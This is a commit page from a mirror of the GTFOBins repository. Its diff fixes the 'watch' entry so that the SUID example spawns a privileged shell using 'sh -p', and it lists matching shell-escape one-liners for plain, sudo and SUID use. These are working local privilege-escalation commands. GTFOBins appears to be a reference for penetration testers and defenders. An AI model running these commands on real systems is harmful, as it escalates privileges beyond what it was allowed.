mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-01-24 04:22:52 +01:00
Fix watch SUID
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
parent
0df54898d8
commit
a724262b74
@ -4,7 +4,7 @@ functions:
|
||||
- code: watch -x sh -c 'reset; exec sh 1>&0 2>&0'
|
||||
suid:
|
||||
- description: This keeps the SUID privileges only if the `-x` option is present.
|
||||
code: ./watch -x sh -c 'reset; exec sh 1>&0 2>&0'
|
||||
code: ./watch -x sh -p -c 'reset; exec sh -p 1>&0 2>&0'
|
||||
sudo:
|
||||
- code: sudo watch -x sh -c 'reset; exec sh 1>&0 2>&0'
|
||||
limited-suid:
|
||||
|
Loading…
Reference in New Issue
Block a user